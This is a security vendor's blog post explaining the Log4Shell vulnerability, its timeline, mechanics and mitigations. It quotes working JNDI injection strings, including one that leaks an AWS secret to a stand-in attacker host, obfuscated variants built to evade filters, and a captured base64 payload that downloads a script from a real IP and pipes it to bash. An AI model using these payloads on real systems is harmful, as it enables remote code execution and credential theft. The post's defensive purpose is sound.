Back to Articles

Log4Shell – Lessons Learned in 30 Days

By Tony Perez (@perezbox) Posted in: log4shell, general-security

On December 9, 2021, the web was turned on its head with public disclosure of a high-severity vulnerability dubbed Log4Shell (CVE-2021-44228). At the time we wrote about how this event highlighted the effectiveness of Web Application Firewalls (WAF) as a defensive control, but we didn’t dive deep into how the bug worked or the mitigation options beyond “update.” This post captures what we learned during the first 30 days: mechanics, activity, and practical defenses.

Understanding the Log4Shell Vulnerability

The original vulnerability was assigned CVE-2021-44228. Follow-on CVEs covered related issues and bypasses as the community iterated on fixes. Below is a condensed timeline (credit to JFrog/CSO for early aggregations):

Date Description
2013-07-18JNDI lookup feature committed.
2021-11-24Vulnerability reported privately to Apache (credited to Chen Zhaojun).
2021-11-26CVE-2021-44228 assigned.
2021-12-05Target fix version set to 2.15.0.
2021-12-09CVE-2021-44228 goes public; PoC exploit widely circulated.
2021-12-10Log4j 2.15.0 released (disable message lookups by default, restrict JNDI).
2021-12-13Log4j 2.16.0 released (remove message lookups; JNDI disabled by default).
2021-12-14CVE-2021-45046 published.
2021-12-18CVE-2021-45105 published; 2.17.0 released.
2021-12-22Backports for Java 7 (2.12.3) and Java 6 (2.3.1).
2022-01-04FTC warns companies to remediate Log4j or face enforcement.
2022-01-10Reports of ransomware crews attempting exploitation.

CVSS: 10.0 (Critical). The core risk is Remote Code Execution (RCE), enabling an attacker to execute arbitrary code on affected systems.

How Log4Shell Works

Log4Shell chained two legitimate features into a dangerous primitive: the Log4j logging library and the Java Naming and Directory Interface (JNDI).

Log4j (logging)

Log4j records application events. A simple example:

logger.info("User {} has logged in using id {}", map.get("Name"), user.getId());
// → "User Tony has logged in using id 001."

JNDI (lookups)

JNDI lets Java applications fetch objects from remote directories (e.g., LDAP, RMI). Example LDAP URL:

ldap://188.56.76.25:8080/O=Perez,C=US

Supported protocols include LDAP, DNS, RMI, NDS, NIS, and CORBA. The problem surfaced when Log4j gained the ability to evaluate lookups like ${jndi:...} inside logged strings.

The dangerous combo

Example where a lookup is evaluated during logging:

final Logger logger = LogManager.getLogger(...);
logger.error("{}: Error {}", "${jndi:ldap://logconfig/prefix}", error.getMessage());

Log4j also supported environment lookups (useful for debugging; risky when exfiltrated):

logger.error("The AWS Secret key: {}", "${env:ENV_VALUE}");

End-to-end example

Consider a search form whose queries are logged:

final Logger logger = LogManager.getLogger(...);
logger.error("Search page: Search issued for {}", searchInput);

An attacker submits a payload like ${jndi:ldap://attacker.tld/a}. Log4j evaluates it, performs the JNDI lookup, and (before patches) could fetch and execute a remote object or leak secrets via nested lookups.

Mitigating Log4Shell

If you own the Java stack, the most durable mitigation is to update Log4j to a fixed version: 2.3.2 (Java 6), 2.12.4 (Java 7), or 2.17.1+ (Java 8+).

Harden JNDI behavior (when updates lag)

Disable trusting remote codebases:

com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false

Be aware: even without loading remote classes, a crafted payload can still exfiltrate values via nested lookups, for example:

${jndi:ldap://attacker.tld/bucket/${env:AWS_SECRET}}

Remove vulnerable classes (stop-gap)

Strip the JNDI lookup class from affected JARs:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Or with jar:

mkdir tmp
cd tmp
jar xvf ../log4j-1.2.*.jar
rm org/apache/log4j/net/JMSAppender.class
jar cvf ../log4j-1.2*-patched.jar .

For Non-Java Teams: Finding Exposure

Two big themes emerged: unknown unknowns and supply chain risk. Many orgs used Log4j indirectly via transitive dependencies. First step: discover.

  • Scan hosts and artifacts (JARs, WARs) to identify Log4j usage.
  • Work with vendors for patches; use hotpatches only as temporary bridges.

As a practice, maintain an SBOM (e.g., OWASP CycloneDX) to make “what uses what?” an easy question in the next event.

Observed Evasions & Payload Mutations

Attackers quickly varied inputs to bypass naïve filters:

Example 1: Encoding LDAP

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:

Example 2: Encoding the payload

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:

Example 3: Base64 wrapper

KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDcuMjQ2LjEwNi4xNTc6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjA3LjI0Ni4xMDYuMTU3OjgwKXxiYXNo

Which decodes to:

(curl -s 45.155.205.233:5874/207.246.106.XX:80 || wget -q -O- 45.155.205.233:5874/207.246.106.XX:80) | bash

Why Cloud WAF Helped (but isn’t a Silver Bullet)

Virtual patching at the edge bought teams time to inventory, patch, and validate. It stops many exploit attempts, but defense-in-depth matters: patch the app, restrict egress where possible, sanitize logs, and monitor for anomalous lookups.

Questions? Reach us at support@noc.org.

NOC — Authoritative DNS, CDN & WAF

Accelerate and protect your sites with global DNS, edge caching, and an always-on web application firewall.

See Plans